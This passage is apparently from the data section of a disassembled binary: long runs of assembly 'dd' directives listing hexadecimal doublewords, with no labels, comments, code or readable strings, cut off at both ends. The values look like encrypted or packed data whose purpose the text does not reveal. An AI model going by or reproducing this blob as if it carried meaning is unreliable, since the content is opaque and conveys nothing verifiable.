56E79798h, 11D91823h, 0EF9894A4h, 6011829h dd 7800001Ch, 0DEC32A15h, 4A779EADh, 0A2EF0645h, 1C056CD7h dd 4CBAD572h, 2C1B63ACh, 91AEDCC5h, 43F4976h, 6FD8A4EDh dd 0E0BCDD04h, 411F67D8h, 7789993Dh, 0E0D13807h, 0D248A39Ch dd 336EE65Fh, 0FBD2090Eh, 73C0B3A5h, 1D558616h, 0F3BA4918h dd 54EF9996h, 6DB8E407h, 185D8FDFh, 70887141h, 0D1762459h dd 9CB14Bh, 77990000h, 0C4E93A05h, 0EE137BAh, 0E3A4473Bh dd 0DCA173A0h, 4D473A19h, 0A4ED043Fh, 0DE3E6FD8h, 0E3B9DE25h dd 491863E8h, 211E60ADh, 1C7746F3h, 9FF8473Ch, 3CE1410Dh dd 7807144Fh, 55B9ACBh, 4B48A10Ch, 0A4ED0443h, 269D6DDAh dd 0B7EF98B5h, 1B4B9B66h, 0D0BD0000h, 68131C77h, 8FB0DBh dd 92E72843h, 2D515EA9h, 0F1F3F71Eh, 1E69D6B8h, 0B3DA6911h dd 2641FA8Eh, 41A893F9h, 1F2BC196h, 0F2411F67h, 7A5FC45Ch dd 0A0F5523Dh, 3B87D385h, 436A473Ah, 9DAAD41Dh, 43F4D72h dd 57731EDh, 0B8C4E93Ah, 4E9F648Fh, 59BE05FEh, 45839374h dd 28DBBCCDh, 4E0952F4h, 0C92E4918h, 18A20753h, 2E7A3241h dd 0C34118A2h, 386457E8h, 0EDC8AA01h, 0A2C41488h, 82294118h dd 44848C5Eh, 9D56D4E1h, 98E43156h, 0E13F7EAFh, 20433CF0h dd 1AC8BA9h, 7CC3B0DCh, 0D8E811Bh, 0EE5781CBh, 3A6B5FA3h dd 0F7227E7Dh, 0FEE2A3C4h, 0E189F6DBh, 176475ABh, 0C4BDDA65h dd 1C8D13B1h, 8BD408D3h, 0F68BD5AEh, 0F3668B51h, 4FF884ADh dd 0EA51FABBh, 0CB56672Ch, 1A6Dh, 7A95AEDFh, 0EEF94635h dd 661DEA1h, 0BCD77019h, 0D53C0B73h, 0B4DA13D5h, 47337C97h dd 0D8A091F8h, 711B046Fh, 23B4BFD6h, 1F662149h, 0E63ED441h dd 0E93A0577h, 4EABF8EBh, 18386DDEh, 95299A49h, 0D74F31Dh dd 0EAC178A4h, 9DEF3A83h, 0AC4099E6h, 4F3A3F93h, 0A4FCE3A4h dd 404622F6h, 90CC7B0Fh, 0A2701299h, 85EDDC17h, 82E72C27h dd 0E63A0975h, 2B358EF3h, 7FD715Fh, 0AE29F321h, 9F9AEEBAh dd 0D0BEFB1Ch, 0DD032273h, 48974C88h, 0F7DA7D2Fh, 0F8B39300h dd 51EA929Fh, 0B8830936h, 0A4BF65CEh, 58A7F01Bh, 19C5h dd 82ED5627h, 3651EE9Dh, 0AEB98609h, 0C42F1861h, 7D94B3DBh dd 5C226B0Dh, 0EF9B84EFh, 80083950h, 1963ACC7h, 7B1CC72Eh dd 1F6599A1h, 4ED67C41h, 0DD3A0577h, 848EF864h, 33462C4Eh dd 728BC908h, 0F5126112h, 8CCC1C90h, 8A21473Ah, 6E690356h dd 0DF4918AEh, 1028B5DCh, 7D9AE99Ah, 3AF194AFh, 9814794Fh dd 4B7F3770h, 0B2D716A5h, 0DD1BF7D1h, 0DC00BFB4h, 0F90C6A38h dd 29DABEE7h, 74EFBDDAh, 0D9E1F62Ah, 1C7013F4h, 0F6E0A4E2h dd 2AD01226h, 0D5AD43E8h, 8F268387h, 6BB8FBB2h, 0D4357A69h dd 81FC758h, 4E5FC8E6h, 0C3B91859h, 754EF99h, 562A5E4h dd 50BB8408h, 54221D6Fh, 46ACF5C1h, 0FEFC435Ch, 60000018h dd 0C6CB221Dh, 327F96B5h, 0AA97FE4Dh, 40D64DFh, 44A2CD7Ah dd 24236BA4h, 89B6C4CDh, 0FC47317Eh, 67E0AC95h, 0F8B4C50Ch dd 411F64D0h, 5F919145h, 0CF0483E6h, 1C5F8CBBh, 0A0426067h dd 0FC47357Ch, 69B6ADAFh, 0D1A79C10h, 3884918h, 18D04169h dd 0C6F9B441h, 0A426C6AFh, 950760AFh, 4F3AC34Ah, 0B883F6B3h dd 0AB1CF26Bh, 8F1569F4h, 0BB690D4Ch, 9FBDB885h, 1673C0B3h dd 0AF98E431h, 0FB2CD771h, 9A11409Fh, 0B580B49h, 361D3EEEh dd 0B5F246B2h, 0A297AC9h, 1B61AECBh, 0A3A0EF20h, 6D1F1C7Dh dd 515EBBD2h, 12EFA627h, 46D54A0Fh, 0EC90D907h, 0E268A753h dd 0A4F5E612h, 1840A5h, 60DBA200h, 0D4731809h, 3C0B74BDh dd 0A29DECD5h, 0B38464Bh, 0ADE686E0h, 60B62E1h, 73BCD774h dd 0EED33A05h, 834AA59Eh, 641226F6h, 5307411Fh, 3A0577D3h dd 0ABF8EBE9h, 4091DE4Eh, 37864918h, 25AA77DCh, 4B98A7E8h dd 0F1E2F428h, 1D6CDDACh, 47A0E322h, 3A248AD5h, 0D646AB4Fh dd 4B7E0482h, 2AD0E833h, 0E956B994h, 0F9E008E4h, 0A6154B7Eh dd 0AD003967h, 0A6C85BC9h, 897AB9C6h, 0DC6B1F1Ch, 3781FC0Ch dd 753C9E7h, 0EAE73781h, 0FC3F7EC3h, 1079B69Bh, 15C7E637h dd 0E73781C5h, 5A8BB4D8h, 4997261Bh, 2EFE2308h, 0E737811Ah dd 0C660BCFFh, 0E915921Dh, 1A7AAB02h, 2FFD1A69h, 0EF37DFECh dd 0ABE84839h, 0F338A5DCh, 203974ADh, 779EA9D3h, 71F9424Ah dd 4F8D0008h, 62C54455h, 0C4000017h, 3A678EB9h, 969BF251h dd 0E335AE9h, 78A9C07Bh, 0E8DE2916h, 80BFCF08h, 0F5523869h dd 58E3959Ah, 0C37C0031h, 44D8A1A8h, 411F5B34h, 77ED35D9h dd 0EBE93A05h, 0DE4EABF8h, 491D136Dh, 0BE01299Ah, 0BCE0707h dd 38515CD5h, 5FB691FBh, 7387157Ah, 0A6411F6Dh, 7B3FC917h dd 41411F6Dh, 153DF28Fh, 8D5929D5h, 8EFE234Ah, 897A5AB5h dd 87F74634h, 9486BB8h, 4CDC99C4h, 8CC5203Eh, 0CA2F488Bh dd 5283BCCDh, 83BCD13h, 0E54F3887h, 1764B1D6h, 0ABD0C128h dd 5A224F9Ch, 63AC9BEFh, 1E92817h, 0EF94D3EEh, 0B6D32E7Fh dd 28000016h, 8EB3DA65h, 0FA274EFDh, 525FB695h, 0CCF51C27h dd 1C6A85C2h, 0DC6B135Ch, 41FE8CB5h, 0B48FF926h, 1F28545Dh dd 0B06C0DF4h, 411F5A68h dd 5859C98Dh, 0DE0364ABh, 3A3B3A4Eh, 80DCDF47h, 1368DB51h dd 7645491Dh, 0C1780411h, 204B8AB9h, 0EE3AF2D7h, 3411F62h dd 6E6274A8h, 0A2AC227h, 7411F62h, 82D567B4h, 78411F62h dd 1D5077F1h, 0B84BCE7Fh, 5Eh, 49E65F66h, 3859310Eh, 0C3BDDF05h dd 0D1361B7Ch, 12F18670h, 4A1A9D30h, 473A1E3Eh, 0E284D8D3h dd 473A1EDAh, 5DE6929Fh, 87DD6A14h, 95F2238Ah, 1448F798h dd 3A1E2272h, 0D315DC47h, 0F3B2C1BCh, 181451h, 72BF0000h dd 4DE13F0Ch, 3A3BC7E8h, 0B7FCF747h, 1709DA52h, 0D7E64918h dd 0AB58E6BCh, 86F60364h, 0B04D68BDh, 63923D86h, 0C60B494Ah dd 18927156h, 6576649h, 7F98A3E9h, 0ADFE4D32h, 31528Eh dd 7592C37Ch, 0F43C38Ch, 0E1AEE4B0h, 0B4FD2362h, 3287DCAh dd 559ACB78h, 0A8CF1C27h, 17E549AFh, 0F6869EDAh, 9BEF2C4Dh dd 2F6EDDA2h, 0DBA1EEF1h, 6DD63360h, 3AEE5820h, 223468FAh dd 8885E231h, 81083906h, 0A5695C6h, 0E795E2C7h, 0B0EC0F5Ch dd 3AB84516h, 0EB9AA4Fh, 3CEE14F2h, 977089C8h, 0EA949342h dd 4F90CC4Ch, 0E8013A42h, 1B2BD11Fh, 558B78AFh, 14716430h dd 0B0910368h, 0F92A1563h, 1CF8009Ch, 9E1DC341h, 0C038015Fh dd 0ED951864h, 0C3D77354h, 0A72507B9h, 0BAFC68DEh, 5D2F107Bh dd 39E22D58h, 579634F6h, 0A7A0E906h, 0D513DE76h, 0F5122D5Fh dd 4CC1C90h, 3021C341h, 281F38FBh, 3CB9F85Eh, 0FA540758h dd 0DF005C92h, 4C91AAD2h, 0EB0C5300h, 45028986h, 0FD8FD510h dd 0CD6320A2h, 57F48693h, 80B9E706h, 0AFDDC22Dh, 602A4794h dd 38986E3h, 0EFAA682h, 3669C97Bh, 439AC6E5h, 1467B495h dd 0C5C9E637h, 0D7165586h, 0C448A089h, 0ACE40203h, 0E4383B8Eh dd 7D94AFDDh, 0AEFF4834h, 96EB5AEh, 85677C93h, 0ADCAE1C3h dd 46499AD4h, 0CC01C239h, 462BD0B3h, 0B5DE0259h, 1647008Ch dd 85D83646h, 0BD3B36A7h, 0C32A1567h, 69D6B9F6h, 9EDBF924h dd 0FB3851EAh, 596CB08Fh, 88DD6A14h, 0AC88E069h, 70863DCh dd 6885D671h, 0B8F52621h, 361565D4h, 5687C6E5h, 9BC87319h dd 9195D35Ch, 4AEA0EEBh, 0A5EA053Eh, 0D93B68D3h, 0E884E52Ah dd 0E9A7A2B3h, 70C409A4h, 1CE56781h, 1F0612EAh, 0B2FF25C0h dd 5127DC6h, 6ABB8408h, 0A0EC154Bh, 533976A7h, 76A992E6h dd 909D0225h, 1E2D5EEFh, 40B881DFh, 0E535E7CCh, 0F8E1DB71h dd 208BB493h, 7CC7B5FCh, 918CC115h, 4229AB12h, 0F1000000h dd 15460177h, 0BC9217F0h, 5F97D7C4h, 0ACCF1C2Bh, 2E25376Dh dd 0C71488E1h, 284918F1h, 746018Bh, 0FA8E8BECh, 0C3023D4Fh dd 360D5392h, 22h, 4A3F7CA1h, 811B2FF1h, 0B1FE4118h, 0E63A7DCAh dd 4601774Eh, 0B7FCF715h, 51D5DA52h, 0F3BA4918h, 6D30298h dd 6186CD86h, 1828708Bh, 8C604549h, 4118087Ch, 4BC61A91h dd 5F201D6Eh, 3170B3E0h, 7A8E1CFEh, 479C8577h, 717E8A62h dd 1693BDEFh, 69B4D962h, 0F3E0EA36h, 26D14BACh, 17B3CD62h dd 0C988A11Eh, 9BDA4462h, 0A590A4Ah, 6FDEA0EDh, 0BDEE211Ah dd 0CA2F227Eh, 0F5E337E5h, 811647CDh, 0CDF5DFEBh, 387B3247h dd 0FFC142E4h, 0EFCE49EFh, 44FF8D8Ah, 1598E42Dh, 0E590BF4Ah dd 0FE88CB0Dh, 0F4C5A883h, 242DDEEh, 64000013h, 0DAC72E19h dd 367B92B1h, 0AE93FA49h, 180960DBh, 48BEC976h, 201F6FA8h dd 95B2D8C9h, 0F843357Ah, 63DCA091h, 0E4B8C108h, 411F5ED4h dd 0E88D9539h, 473A3AC0h, 0D4A4F9EAh, 0B8FB3A6Bh, 2046CD5Fh dd 6A574918h, 82E72625h, 0D1380375h, 7EAF98E0h, 46D64B31h dd 41181732h, 0E595D4E7h, 0F5BD947Eh, 9AB38E9Fh, 0C000012h dd 62AFC681h, 0DEC32A19h, 367B92B1h, 0A091F843h, 200661DEh dd 0B887F740h, 2D1A6051h, 90ABDDC2h, 0FB444879h, 9C106990h dd 411F5E4Ch, 5835EDA1h, 690364ABh, 491821BAh, 0BE3A9273h dd 3445569Ah, 47431E8h, 88CBEA3Bh, 0EA59226Fh, 5EED9E83h dd 0A39CE00Dh, 0D117DA72h, 0F01B2853h, 6D52C76Bh, 18F56BBFh dd 5B218E41h, 3170B3E0h, 0B7F8E9E3h, 0DAA5F2D7h, 0A7FD386Dh dd 152F19Ah, 18F52073h, 0F008E541h, 91F84734h, 3F6CDBA0h dd 80D926DDh, 0E4380773h, 0DDD427F5h, 48B94F3Fh, 61747250h dd 23448732h, 729DA6D6h, 0D7043F4Dh, 1871BEB5h, 55A94284h dd 0BBDCDF45h, 0D8F0E7Eh, 0BDB5BF4Ah, 0BEE30A4Dh, 0B31475CEh dd 5219CFF7h, 0D7F62A7Ch, 281365B2h, 0CD5FB8FBh, 55543EBDh dd 0D5075D50h, 9EA9DF1Eh, 6CD53A5Fh, 0AEBF4ED3h, 7404C1Dh dd 89CE98C4h, 565B766Dh, 0CB33659h, 0B4D8061Eh, 0AE7E9BDAh dd 5FAA049Ah, 29E03C7Fh, 8165F482h, 0A7F0E34Fh, 118058h dd 0A09BE200h, 14335849h, 7CCBB4FDh, 0E25D2C15h, 4BF8868Bh dd 0ED26C620h, 464BA2A1h, 0B3FC1734h, 2E137AC5h, 438AE55Eh dd 5D526636h, 13C7411Fh, 3BCBE813h, 0BCCC473Ah, 3E43E839h dd 90D3B441h, 9D6C6779h, 8691E35Bh, 0D2377615h, 1DB3505Ah dd 16302149h, 33CE022Dh, 851622FAh, 0B0FB411Fh, 0DCD93E71h dd 0A17D94B3h, 73CFE79Ah, 18FF252h, 58580000h, 0F70465ACh dd 0C599C784h, 3BBACD5Fh, 8E8B473Ah, 7B0E4300h, 0C5093C0h dd 5FFD991Ah, 0F04B3D7Ah, 2CB710ACh, 6CA5589Dh, 0BAF72423h dd 0F92469D2h, 156287C6h, 0EF87DD6Ah, 0A958FA52h, 7A5FBC66h dd 3A3B96A2h, 0EC307B47h, 7C000D68h, 0D5392C3h, 0CFF79A71h dd 46E254F3h, 28000000h, 0B862A558h, 0A627525Fh, 7F5BE923h dd 4B98DB9Dh, 37E5F428h, 473A1EE4h, 5FF8A209h, 2A525FC7h dd 711BCC11h, 94C5F37Fh, 436EB2F5h, 19EA0F3Ch, 7D7CDAE6h dd 0B9558B70h, 9EEA27B2h, 0A5A77FA5h, 3Bh, 62A55889h, 2D525FB8h dd 1D8FC21Eh, 473A3BCAh, 5FD38B2Ch, 0A27A5FC7h, 473A3B96h dd 0C5EC307Bh, 5FD18DBAh, 67A52C52h, 0C0F99507h, 2A499ADDh dd 720B5FCDh, 0CFEE473Ah, 5F75AD91h, 36B346E6h, 74FE629Eh dd 4C8A346Ah, 0DAA4ED2Ch, 7AE7376Dh, 5F54F37Ah, 4Ch, 66A958C7h dd 0BC8BF401h, 7C104C6Fh, 1326525Fh, 688BD867h, 36E6EB29h dd 473A3BE5h, 5FFBA30Ah, 610477C7h, 3A3B7F8Bh, 6A159247h dd 2A6D88DDh, 9AB233EBh, 56A5h, 0EACF3400h, 3A3BE632h dd 0F0A00B47h, 473A3BA8h, 62326E4Dh, 0BC66A958h, 0D893E65Fh dd 0E59EA9DFh, 4B34FDFAh, 4D8CAFFCh, 249DC217h, 0D35EC322h dd 29F321B6h, 473A8406h, 55A2C7F8h, 0ABCA1B24h, 7A5FD975h dd 3A3B96A2h, 40FF8B47h, 7160BCFFh, 470477B1h, 0A59AB29Fh dd 0FFFFFE68h, 64AB5889h, 13A66903h, 424F491Dh, 2474283Dh dd 0C9411F62h, 3372A3E2h, 60B58EFEh, 8B221F45h, 7F0C096Eh dd 27559CC0h, 266D42A6h, 1FCC2276h, 1FE4D741h, 5C955CBDh dd 0B9D0132Ch, 562A9A7h, 1F5D4397h, 0E207B641h, 2553EA95h dd 6B8ADB1Ah, 2A441035h, 0F4411F5Dh, 0A9A4EB0Dh, 0C4BCE71h dd 35h, 251E6AA7h, 0D76FB5F0h, 3A3BC4E8h, 108CF147h, 473A3BC8h dd 17528E2Dh, 11B3DA65h, 473A3BCEh, 0C8B203F0h, 4DDF387Bh dd 491852F6h, 66FD14A7h, 0B6h, 42AB58CCh, 3A3B9EAAh, 73827347h dd 0CADCC3DCh, 8DEA2D6Ch, 18C0841Fh, 25426949h, 7481A0E8h dd 40683807h, 0B54118C0h, 63ACC706h, 9BF92A15h, 0AE7E9BE8h dd 4F3FE855h, 6DC9C93Ah, 8C5E74FFh, 99EF2C4Dh, 2E5A47AEh dd 0CF84C015h, 0E6B56780h, 1745556Ch, 8CDEEA82h, 0BA775557h dd 36885C0Eh dd 54A61DEh, 5D98CD7Ah, 0CCB0FD1Ah, 463F1873h, 0CC0F1F2Fh dd 5198C402h, 0ED66102Bh, 8E972B5h, 0E63203Fh, 0B8C50000h dd 503B648Fh, 0E89798F3h, 7A0F305Bh, 1579A6C1h, 9EBDF36h dd 6681BEC0h, 9BF25139h, 0E59E296h, 0A9C07B01h, 3743D9BEh dd 0DA411F52h, 577EC34h, 3D64DD3Ah, 3B047514h, 0E5276142h dd 4665B695h, 82C1CA07h, 9AE20F5Eh, 4B3F7CA1h, 0FC82AFFCh dd 8F6A1E4Fh, 8986C569h, 7CC7B56Fh, 5266361Bh, 0C7473A94h dd 97A7A8F4h, 51F328DAh, 27FFh, 0AB582700h, 0EE690364h dd 5F491828h, 9AE20F5Ch, 335946A1h, 0CAB9DB08h, 64176485h dd 0C458B9E7h, 4F3A26FBh, 24FE09A4h, 2C470477h, 0DAA598E3h dd 0EB54246Dh, 0B26A4FA8h, 473A3B66h, 0A9FC208Bh, 3A3BC21Bh dd 0B4ADDB47h, 3A3BD0F8h, 37764547h, 0B807FCDCh, 4B3D7A5Fh dd 5C80A3F0h, 1D132B8Ah, 0B0C9E449h, 5F337DD7h, 0F68012E6h dd 11BD4266h, 81D00C4Fh, 32860B74h, 64E68A77h, 0D04AA5E4h dd 392C525Fh, 3A3B5763h, 0B0F3BA47h, 53E4E63h, 0C3BE9EC2h dd 165273CFh, 153h, 65AC583Ch, 0BACD5FB9h, 5C473A3Bh, 7A5F835Bh dd 0ACF04B3Dh, 202CB710h, 0DDE11B67h, 0EB29F0DDh, 28525F5Bh dd 0DA93C51Bh, 54277495h, 5987A6F7h, 29525F85h, 76AAC91Ah dd 0A958B66Eh, 42DABC66h, 1B28525Fh, 0D02C51C5h, 286554F3h dd 69B4D966h, 31EA2Bh, 58300000h, 5FB862A5h, 3A3BBACDh dd 82585347h, 4D3D7A5Fh, 7712A2FEh, 0D1DE3B08h, 2A499AA9h dd 0E65F5EF6h, 74BE53BEh, 52D20EF0h, 32A5BAh, 58890000h dd 5FB862A5h, 0C51B2852h, 3BF71894h, 9417473Ah, 897A5FCEh dd 0C60D6E2h, 92BE85Eh, 0C3259865h, 7709A5FBh, 5F633B08h dd 0CA1B2852h, 518975ABh, 0F3CFF79Ah, 99E12E54h, 396AD5A4h dd 456ABBFAh, 8BC90833h, 528Ah, 0A9589000h, 7A5FBC66h dd 623CE489h, 854C706h, 3A742D7Eh, 77A91A47h, 110B8D7Eh dd 0A03B4FDDh, 0DFDE473Ah, 0E2C9409Ch, 60018885h, 3AA07C8Ch dd 0DB1A9147h, 0C75FE985h, 22470477h, 3B1B2FFDh, 0BFFE473Ah dd 0EF3C0772h, 0B2FC90CCh, 2BA59Ah, 58890000h, 0C627DCA9h dd 473EC3CBh, 0E296E304h, 0ABE93459h, 0BACD5F1Bh, 5C473A3Bh dd 0C75F835Bh, 9F470477h, 112A525Fh, 0F373A1CCh, 0FE92A55Bh dd 5889FFFFh, 0F60364ABh, 5695C685h, 0E255C70Ah, 0CB491D13h dd 7FC1675Ah, 86CBEFB7h, 0ED0A4DF6h, 0FEDE3F88h, 5F52E1C8h dd 6656623Ah, 0F0BB411Fh, 4CF785ACh, 0D61DD325h, 66AFFBB1h dd 6B42411Fh, 66406A3Ah, 0CFA2411Fh, 304E6876h, 376DD1C3h dd 0E69BAECAh, 0F34BCE7Bh, 21h, 0B6C081E6h, 9C52825Dh dd 1E608858h, 2695411Fh, 0C4E82AFAh, 0D9473A3Bh, 0E26188B3h dd 9Fh, 64AB5850h, 4E426903h, 0F8B34918h, 5DE6929Fh, 0C07B0D32h dd 3D827193h, 0EF340DCh, 8B7C4F3Fh, 3818F3Fh, 5CD50B37h dd 8DFB3851h, 22565BB2h, 0DB88F419h, 12B97394h, 3455AB5h dd 3A424FA8h, 2A257527h, 5FC85557h, 0C2A545C3h, 438200h dd 0F88390E9h, 85DB1A4Bh, 9B11107Ch, 5557B34Fh, 3EC80BA2h dd 0E9723B1Bh, 1AEA7546h, 8C00000Bh, 0E22F4601h, 5E43AA99h dd 0B6FB1231h, 201178C3h, 0A086E15Eh, 380777C0h, 0AD9AE0D1h dd 102B5D42h, 7BC4C8F9h, 1C90E910h, 411F57CCh, 77B56D21h dd 78801C05h, 9D473A3Bh, 618EDF1Eh, 0B4F3201Bh, 0EACF3DBBh dd 3A3BE632h, 7CA00B47h, 8CF24735h, 0C4F6EBFh, 0D81C51E5h dd 31B951F3h, 61000000h, 364AB58h, 0CBB489F6h, 0CDE83D7Ch dd 101D4297h, 0F882DE69h, 49183C1Fh, 3378AD00h, 0AA97FE49h dd 0C83459E2h, 0F9B3D41Bh, 4F3A5ED2h, 85016843h, 96A27A5Fh dd 7B473A3Bh, 0A2F3503Eh, 0D51C4083h, 0DE4E99A6h, 473A3B81h dd 3E49F286h, 0B9DE25DEh, 3BB0D854h, 5665473Ah, 5355C70Ah dd 4E491D13h, 820D0A6Fh, 9AF0AAC5h, 5273CFE7h, 17FF2h dd 7380E500h, 0CBEA3B08h, 0BA3BF119h, 0A0332447h, 2E59F256h dd 401C4083h, 8ADFAC58h, 60A5C04h, 5F411D5Ch, 3A3BBACDh dd 13A8B47h, 0DFF82112h, 0DAE98C4h, 0B7C75F51h, 0A5589D2Ch dd 0FA52B862h, 0BC66A958h, 0E65F42DAh, 27FFB0FFh, 31E53BEEh dd 54F3574Ch, 0A807FC45h, 2EF96AABh, 70AC97E1h, 3FADh dd 0A5587500h, 0CD5FB862h, 473A3BBAh, 5F825853h, 7387157Ah dd 0A6473A3Bh, 5F35C917h, 66132652h, 3B469ADDh, 0B22FF754h dd 5E65F9Ah, 67B369E7h, 8A473AD4h, 0EFB5A23h, 4C340351h dd 1E000000h, 0B3FAE65Fh, 57A8E1Eh, 1C9F473Ah, 9EAC5267h dd 12550842h, 3D7A5F48h, 0C7B1FE4Dh, 7586207Ch, 42473A3Bh dd 88F64335h, 84B6ABBh, 855152D4h, 112A525Fh, 1E73A1CCh dd 81087784h, 8A49B7EBh, 1BC302C8h, 1A29525Fh, 9AA67EC6h dd 54F3CFF7h, 0F36B552Eh, 0FD88D171h, 3F7EA7h, 58A40000h dd 0F40166A9h, 4D68BD8Ah, 0E65F7F17h, 2C822FFAh, 0EFE23E4Bh dd 3AEDEA3Dh, 0F2A80347h, 0EADDE65Fh, 45F0719Dh, 7728FA1Fh dd 0B29F4704h, 0ACA1EA27h, 0F32063DCh, 0A5D06CB0h, 31h dd 28525F89h, 0B4D96615h, 0E0EA3669h, 5FF4AEF1h, 1209897Ah dd 3E3888BFh, 3AF85A6Eh, 0BDFCBF47h, 0F8B2C567h, 5354473Ah dd 77C75F8Bh, 0B29F4704h, 0FE81A59Ah, 5334FFFFh, 5EF756DDh dd 865E823Dh, 364AB58h, 1D13A669h, 0C3249749h, 127DC6B6h dd 7F094E02h, 3F6485C4h, 1F625D6Dh, 0A7FDB041h, 62AEFAB2h dd 6843411Fh, 625F693Bh, 3D42411Fh, 0EC90DD0Eh, 6AE70253h dd 4D34180Eh, 20FC212Bh, 411F6218h, 0AA62BEFDh, 4BCE7EB7h dd 2C02h, 8CCB500h, 0C48EC40Ch, 0E838D408h, 473A3BC4h dd 0F68B10F1h, 0AF6C33CFh, 0FB444871h, 0CAA28790h, 473A4DBEh dd 2F045853h, 0A9h, 64AB5817h, 351A6903h, 0A00B4918h, 65156247h dd 2A76B5E6h, 0A7CE790Fh, 0F8DEF152h, 73D3D5B4h, 7174042Dh dd 0EAD75B41h, 761956AAh, 265984C9h, 97DC97F5h, 0A0B9BA72h dd 67564F3Fh, 0AED0DD02h, 52264391h, 0E7919EE9h, 16CD0F5Ch dd 2FFCB0C9h, 0C0455501h, 0FD8F8CEDh, 0C504434Ch, 221765AAh dd 57BCE15Ah, 5766B5C5h, 12555855h, 661827D3h, 94A5E972h dd 7D495h, 0FC473600h, 60DFAC95h, 0C8771809h, 3E0970A1h dd 0A7A4EAD7h, 317A7A4Ch, 0AA97FE4Dh, 70863E0h, 72BFD671h dd 2FD6310Ah, 4B86D24Ah, 0A76B411Fh, 8005777Fh, 281D8899h dd 68BDFC37h, 0DD0E3943h, 0D95B9D9Ah, 0DD6188B3h, 51F31AA0h dd 3435h, 7A5F1D00h, 3A3B96A2h, 513E7B47h, 6B6DB3F2h, 5ECE2B78h dd 4918370Dh, 3A2671E2h, 34D902ECh, 0C014A0F5h, 3E411858h dd 5F1235B3h, 7A4BD178h, 4Dh, 0A7E65FA0h, 4B5D57E8h, 867D9FC5h dd 0F34C2039h, 9C491802h, 0DDAFCC11h, 76060B62h, 196FACCDh dd 62BEFD2Eh, 43D93E5Bh, 41185537h, 4B8DD3DAh, 0C92E4B98h dd 55E008E4h, 0A6154118h, 5BC3A07Ah, 63D44F3Ah, 4B395637h dd 49A0E39Fh, 8FE65FCDh, 93B0DB30h, 0DB5A2342h, 62E33151h dd 0E7A251B3h, 9BBA22C0h, 75851779h, 98473ABFh, 7693D215h dd 0CC7B0411h, 0ACADF690h, 55524918h, 38DA1D2Ah, 0CEB6FF6Ah dd 8FD48F80h, 6558996Ah, 0CC67D68Eh, 1B48F783h, 705584D8h dd 2276260Bh, 0D781A3C9h, 0C9E434E4h, 0A20981A3h, 0DA33AC7Eh dd 9F1C8F81h, 0CC1150EFh, 6B8CD380h, 0A4179EB1h, 0DB3C7F85h dd 0CF1B91F6h, 2295E45Bh dd 602C558Bh, 0F9838CE7h, 6381B84Eh, 0C3DC2901h, 6747Ch dd 9CA7D600h, 3F4C75h, 68D7B8E9h, 0DE691001h, 47048AB7h dd 0D11ADA2Ch, 4A779EADh, 0A7E80340h, 121F76D1h, 4FB6D16Ah dd 4A26722Ah, 7CB411Fh, 3A05771Fh, 1424F8DDh, 0F9473A3Bh dd 3E0D7DB2h, 0E996DBE2h, 62172654h, 3669B4D9h, 0C7BC9CF7h dd 6D121F78h, 1A608DDEh, 0A3B6EA2Dh, 1D1376C9h, 73942749h dd 0B9EA5926h, 62B8C05Ch, 5E5D411Fh, 77A4C11Fh, 6C4F3B08h dd 0F9F5BA6Ah, 5F351A8h, 28550000h, 0C0CBF41Fh, 58276883h dd 0EA9F80EBh, 85093651h, 995BAFC6h, 0F6112E50h, 6B82C1C9h dd 9EE95226h, 3950EB91h, 0A7F3A9CEh, 4A411F49h, 0AB589C84h dd 0D1DE0364h, 0A6409CA7h, 491D1359h, 0F13E6F4Eh, 0DCC9B18Eh dd 61F5BA69h, 5A3C950h, 78050000h, 107BA4CFh, 0A8D7D833h dd 3A4F709Bh, 0D5B9E601h, 492B1F76h, 0A6C17E00h, 0DB321179h dd 4E99A2D6h, 0E9003B41h, 7783197Eh, 9A411F49h, 0AB582CF4h dd 8E690364h, 7F491D13h, 0ADEAEF3Ch, 85D547DEh, 68411F63h dd 92D10245h, 0EF5C234Eh, 0BA6B041Bh, 0B18899F5h, 549h dd 1E69D2BBh, 0B2DD6A11h, 2A45028Dh, 40AB94E5h, 0F9102F5Fh dd 0D8A6EFF1h, 6B1F006Bh, 0FC8CB5DCh, 95E72843h, 0FF9843AAh dd 1F491D2Dh, 0CA5AF041h, 0E93A0577h, 6FDCAFECh, 0BB840831h dd 0B69BFE6Ah, 3A3BD2E6h, 0E55F0347h, 0D3926BD1h, 3872F56Eh dd 8088CE28h, 0D2161341h, 0F04B3D7Ah, 6CFB80A3h, 0F3EC36AAh dd 5D2F4A96h, 0F6868BE2h, 3B4C184Dh, 0FC473AC7h, 2E13F97Fh dd 3AC72A7Eh, 0B0ECCF47h, 2A820389h, 6D7E8A3Fh, 0E9FB877Ch dd 4B870BDh, 404DAAC5h, 0CC7B0F3Eh, 622A578Dh, 1567B4D9h dd 2F1C32Ah, 63C05CBDh, 34491880h, 613B6079h, 4118F759h dd 0D005424Ch, 0D301AC95h, 0F7AAFA8Ah, 0C7B74118h, 76062B78h dd 1E898CDh, 63B765E7h, 964118F7h, 8148E427h, 0E3A8E567h dd 0A8F43764h, 0D10BF16Ch, 0D623084Bh, 0A2F6A6A5h, 0A74118FFh dd 0E5C869D2h, 3B96BFh, 0F4010000h, 7FC2BB84h, 0D796B770h dd 584EE63Ah, 27246AABh, 0E6E983E4h, 57491841h, 51653764h dd 4C411831h, 9DD2033Ch, 540C51EEh, 79D75B9Dh, 1C5178F0h dd 0B94BD1D2h, 0D4h, 3A057761h, 9FA8D0DDh, 3B96A27Ah, 307B473Ah dd 7FBCD9ECh, 0C1EC310Ah, 1B285693h, 6CD7A5CAh, 0B18AF23Fh dd 37E7F656h, 1478473Ah, 3E4B9F0Dh, 0FAE473Ah, 107CA5CCh dd 0EDE6E637h, 0C0AB41A6h, 0CD491838h, 0BEB587EEh, 0E6331871h dd 4766B794h, 9FC57E0Ah, 3C6F89CDh, 305F5C4Fh, 6EA3C213h dd 0BFFE2F1Ch, 0E405A861h, 3F58E797h, 43447B46h, 0E3317DA9h dd 0CACFBFE0h, 0AF7DD245h, 0F284C7E4h, 0EF995413h, 8AF24D5Eh dd 0FC000003h, 525FB691h, 0CEF31A29h, 266B82C1h, 9081E853h dd 303651EEh, 0A897E730h, 1D2A5041h, 80BBCDF2h, 0EB543869h dd 6C005980h, 411F4F5Ch, 5F051DB1h, 963FE6E6h, 28442114h dd 569F1490h, 0DF1A4679h, 487990AFh, 3A90FB44h, 364AB58h dd 18416669h, 0B7E4D749h, 6BBF6D52h, 8E411831h, 757F12Fh dd 0F9411831h, 9CD1F870h, 394BD1D1h, 0B4h, 3A0577E1h, 8DBAC4E9h dd 4595076Ch, 0A8473A3Bh, 498EDF05h, 0D3003F4Ch, 2BBA4C90h dd 34473A37h, 0AB94FF48h, 